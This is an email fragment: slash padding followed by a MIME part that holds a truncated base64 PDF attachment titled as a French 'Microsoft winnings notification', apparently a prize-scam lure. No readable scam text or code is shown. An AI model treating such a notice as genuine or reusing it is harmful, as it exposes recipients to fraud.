//////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// ------=_Part_1358_69954819.1393143861352 Content-Type: application/download Content-Transfer-Encoding: base64 Content-Disposition: attachment; size=385490; size=385490; filename="VOTRE NOTIFICATION DE GAIN MICROSOFT(2).pdf" JVBERi0xLjMNCiXi48/TDQoxIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUmVzb3VyY2VzPDwvRXh0R1N0 YXRlPDwvR1M1IDIgMCBSPj4vWE9iamVjdDw8L0ltYWdlNyAzIDAgUi9JbWFnZTkgNCAwIFIvSW1h Z2UxMSA1IDAgUi9JbWFnZTEzIDYgMCBSL0ltYWdlMTQgNyAwIFIvSW1hZ2UxNSA4IDAgUi9JbWFn ZTE2IDkgMCBSL0ltYWdlMTcgMTAgMCBSL0ltYWdlMzggMTEgMCBSL0ltYWdlMzkgMTIgMCBSPj4v UGF0dGVybjw8L1A2IDEzIDAgUi9QOCAxNCAwIFIvUDEwIDE1IDAgUi9QMTIgMTYgMCBSPj4vRm9u dDw8L0YxIDE3IDAgUi9GMiAyMCAwIFIvRjMgMjMgMCBSL0Y0IDI2IDAgUi9GNSAzMCAwIFIvRjYg MzggMCBSPj4vUHJvY1NldFsvUERGL1RleHQvSW1hZ2VCL0ltYWdlQy9JbWFnZUldPj4vTWVkaWFC b3hbMCAwIDU5NS4zMjAgODQxLjkyMF0vQ29udGVudHMgNDYgMCBSL0dyb3VwPDwvVHlwZS9Hcm91 cC9TL1RyYW5zcGFyZW5jeS9DUy9EZXZpY2VSR0I+Pi9UYWJzL1MvU3RydWN0UGFyZW50cyAwL0Fu bm90c1s4NCAwIFIgODYgMCBSXS9BcnRCb3hbMCAwIDU5NS4zMjAgODQxLjkyMF0vQ3JvcEJveFsw IDAgNTk1LjMyMCA4NDEuOTIwXS9QYXJlbnQgMTE3IDAgUj4+DQplbmRvYmoNCjIgMCBvYmoNCjw8 L1R5cGUvRXh0R1N0YXRlL0JNL05vcm1hbC9jYSAxPj4NCmVuZG9iag0KMyAwIG9iag0KPDwvVHlw ZS9YT2JqZWN0L1N1YnR5cGUvSW1hZ2UvV2lkdGggMjk5L0hlaWdodCA0Ny9Db2xvclNwYWNlL0Rl dmljZVJHQi9CaXRzUGVyQ29tcG9uZW50IDgvSW50ZXJwb2xhdGUgZmFsc2UvRmlsdGVyL0ZsYXRl RGVjb2RlL0xlbmd0aCAxMTkyPj5zdHJlYW0NCnic7dNnbJVVHMdx3/vCxMQYjXEbjUajEhcYt+Ie xD3QqChx74V7b3Hbe3tvd+mG0kJboKWFssqmUDa0QKGltEDZ8+s5z3NvLXghbbru+J18Xt7nuec5 5/8l7hjijiXuOMtzPJ4T8JyI5yQ8J+M5Bc+peE7DezreM/GehfdsvOfgPRfvecSfT/wFxF/ouAjf xfguwXcpvn74LsN/Of4r8F+J/yr8/UkYQMLVJFxDwrUkGteTeAOJN5J0E0k3k3QLyQNJvpXk20m+ g5Q7SbmLlLtJvYfU+6y0QaTdT9oDpD/keIQRjzLiMTIeJ+MJMgaT+SSZT5H5NFnPkPUs2UPIfo7s 58kZSs4L5L5I7kvkvkzeK+S9ysjXGPk6o95g1Jvkv03+O+S/y+j3KHifgg8oGEbhhxR+zJhPGPsp Yz+n6AuKvqT4K4q/puQbSr5l3HeM+57xPzL+Jyb8zIRfKB1O6a+U/cbE35n4B+V/Uv43Ff9QEcck D5O8TI5nso9KP1MSmJLI1CSmJjMthWmpTE9jejozMqjKpCqLmdnMymFWLrPzmD2SOaOYk8/c0cwt YF4h88cwfywLilhQTHUJ1eNYaIxn0QQWlVJTRs1EFpezuIIlk1g6maWVLDOmsHwqy6exYjorZrDS qGLVLGv1bFbPoXauVTePuvmsWcCaatYaC1m3yFFD/WLql7DeWMqGZVbDchpWWI0raVzFRmO11VRL U521aY3VvJbmdVZLPS3rrc0bHA1sMRqtrRsdTbQam6xtRrOjhe2uzewwtgTs3OpotXYZ24K2s9u1 w9pj7AzaZe117Q7YZ+w51F72t7fvPweM/aEc4OBhDoaA69Blc/s/BagAFWCvBOg9o2MUoAJUgD0Q oI2oKxSgAlSAXQjQJtON+ilABagAOxGgDaRH9cc/QAEqQAUYOsDE6/qCU58CVIAKMGlgWLD13aYA FWDMBWjmPEyZ+u4ldZClABVgtAZopjpiPEj6ww4FqACjJUA7wBFtMBlufQpQAUZggGZco8oQy60v e6gCVIDhHqCdzGiXZwTrU4AKMKwCtHMYg0x6xltOfQpQAfZdgHbqxEmvcJjD1PeRAlSAvRSgnTEJ 6TOKgvUpQAXYQwGacZKOc9OzflCACrAbAjTDI11h0xtOmVOfAlSAnQ2w/C/pfhXB+hSgAjx6gJU+ 6RV+KhMC9SlABdi2zABIX7HpOfUpwJgNcGaWhIdsR06gPgUYIwGay5VwZtNz6lOAURmgvUqJKNXF jhJroQKM8ABrSiXylQXTc+tTgJEToL0jiUrB9FwKMDwDtDcisWCGk15V0EwFGBYBmsOX2FTraktv ngLsgwDtaYu0CabnUoA9HaA9WJEjWRLgpudSgN0YoHuGIp3V6Ka3UgF2KcCNtSLdoKlNnQLsRIDu 4Yj0kBY3vXoFGDrAwGmI9JYtDe3EfICBbxfpO61N7cRYgNubRcJJyxFEaYBtXyQSQaImwF2tIhFo 2xFEWoDuPkWiUvgH6O5KJEaEW4BtOxGJQX0eoPk7EWmvNwNs/34ROYqeCDD0C0Wk47oQ4OEPikjX dTzAUL8UkW4XMkAOikgvOmT9C8nxU7sNCmVuZHN0cmVhbQ0KZW5kb2JqDQo0IDAgb2JqDQo8PC9U eXBlL1hPYmplY3QvU3VidHlwZS9JbWFnZS9XaWR0aCAyOTkvSGVpZ2h0IDQ3L0NvbG9yU3BhY2Uv RGV2aWNlUkdCL0JpdHNQZXJDb21wb25lbnQgOC9JbnRlcnBvbGF0ZSBmYWxzZS9GaWx0ZXIvRmxh dGVEZWNvZGUvTGVuZ3RoIDE0MzA+PnN0cmVhbQ0KeJzt0+dPk2scxvE/wBcmJsZojNtoNBhH3Ma9 N0bcK+64FfekZc8iQ/YSUJAtIBtkbxllC2XIkr2n6755OMhBOJ5CWzquK99XT9snv774/Pw5cD9+ /hhq33987+2fffv+7V/1rPtbd/+6urv619ndSevqraOrg9ZJa+9s762jva2jjam1o7W1ndbS3tLS Rmtua6a1Nje1NjE1tjSSGloaGppp9c31pLqmOqbaxlpSTWNNTQOtuqG6ur66qr6qqq7qa91XUmVt JamitqKipqK8pry8urysuqy0qpT0pepLydcSUnFlMamooqiworCwvJBXzuOV8QrKCvLL8vNL8z+X fs77kpdXkpdbkptTkpNTnJNdnJ1VlJVZmEnK4GVweVxuATe9ID0tPy01PzXlc0pKXsqnvE/JuclJ uUlJOUkJ2Qnx2fHxWfFxmXGxmbExGTHRGdFR3Kio9KjI9MiItIjwtPCPqR/DUsJCU0JDPoUEJwcH JQcFJgUGJgYGJAb4J/j7xft9iP/gG+frE+vjHev9Pua9V7SXZ7SnR5SHe6S7W6Sba4SrS7jLu/B3 zh+dncKc3oS+cQxxdAhxsA+2fx302i7IzjbQ1ibAxjrA2srfytLP0sLPwvyDuZmvmamvqYmPibG3 sZG3keF7QwMvg5eeL/U99TkeHD13PV13XR03HS03LU1XTQ0XDXUXdbV3aqrOqipOKspOyuy3bKW3 Si/evHju+Pyp49MnDk8e2z9+ZP/o4euHD+we3Le7f8/2nqKN4h2bO7etb9+yvnXT6uYNqxvXLa9f s7h21eLqFfMrl80vXzK7dNHs4gXTC+dNz58zOXfW5OyZV2dOG58+ZXzqpPHJE0YnjhsdP2Z47Kjh 0cMGh0kKLxUO6h88oH9AXl9eniO/j7Nvr97ePXp7duvt3qW7a6fuzu0627fpbNuqs3WL9pbN2ps3 aW3aqLVxg9aGdZrrSGs1167RWLNaY/UqjVUr1VeuUF+xXH35MrVlS9WWLlFbslht8SLVRQtVFy5Q XSCnKienIjdfZf48lXlzlefOUZ4zW3n2LOVZM5VnzmDPmMaeNpU9dQp7ymT25EmsSRNZEyewJoxn jR/HGjdWaSxpjNKYP/wBIAACoBABDggAARAAhQRwOnv6XwNAAARAgQDkK/ITJgAEQADkCyA1qEoN jiTyBiYABEAAHAogNahODQovAARAACQAGYPrNdeLOAAEQBkEuENnB2Nwm/YoB4AAKMUAaZwD+zn7 qUHOXjEMAAFQmgAeMThCOmRwSMFAQSICQACUUIBnjH8blNwAEAAlAiA1aNprUJoCQAAUN4C/DVpe YxhKbuT+/w4AAXB0AZLu2t5VtFVkGMpaAAiAIgP4zPHZUwdqsI8hAkAAFBZAZxUSNejEZr1lEYbo zwAQAAUCUNtNmxjUcu1liP5nAAiAwwBIDXpRg/oelCEadgAIgH8F2Gfwlc8rJNgAEAD7A7QNoAYp Q3/KEAk7AJRlgNRgqCPDkBY84gTyEmEk7MNChhkAyg5AtwhqkGHISESjHgBKK0DvGGqQYYjENgCU eIA9EYOUYaI/lZjghyQlAJQsgNRgahjDkJGIJDoAFGeANG4PQ25UJDeSSERSFgCKCcDEnMSEnATC 8LfErDgk9QHgqAHsiRhkSs5LFsP4PWzQ7zMPB3w06EPhHTzUYcP4g4INAEUBsDCDxjDkcdN56UQi QiQAFDhAJoYhE8GI0KAB4AgBMjEMEeI3AOQLIDVYWUQYIiSQAHAogEyl1aWMRISEEQD2AezPECHR JKMAmRiGCI1esgBwQLVNtQiJSdIGECGJSqIBDqjPI0KSkgQBREj6EluACMlC4gIQIZlM9AARQn2J ACBCaKgEDBAhxE8jBIhh2EjGF0AMwwS7wQEihETSL0Hod2oNCmVuZHN0cmVhbQ0KZW5kb2JqDQo1 IDAgb2JqDQo8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9JbWFnZS9XaWR0aCAyOTkvSGVpZ2h0IDQ3 L0NvbG9yU3BhY2UvRGV2aWNlUkdCL0JpdHNQZXJDb21wb25lbnQgOC9JbnRlcnBvbGF0ZSBmYWxz ZS9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDg3MT4+c3RyZWFtDQp4nO3TB1eOAQCG4Z9l63Ds vTfHpq1d0i6lQSKjKBoUaSdSIZpGKSptCi1CJK3H+9ZnHR1K33jHc5/rL9wAY8xgDQ0Rkb5wQCID +mPAwUEi0p4h0dgHHBggov8yKJrggP39RPQvAxpaH7Cvj4h+16+hhwF7vxKp19cRfRr6H7DnC5Eq fOnV6O2V0ICfe4gUS/oDdn8iUoTP+PSdjAZ8/5FITj4IukUfR8h8wHddRFL1XtQl+CBS5IAdb4mk ovOd6G2XhhoGbG0n0rsOUZugE+0CFQ/Y0kqkc69a8bpN9KZdxAF/9KKFSKte4aXgNZqHtbzhgH8b sP4F0YQ0vESjoBlNHHD8Az6vJxqrmgbUNKK2EXVNIg448QGfPicaxbMaUWUtqupQLeCAuhmw9BkR 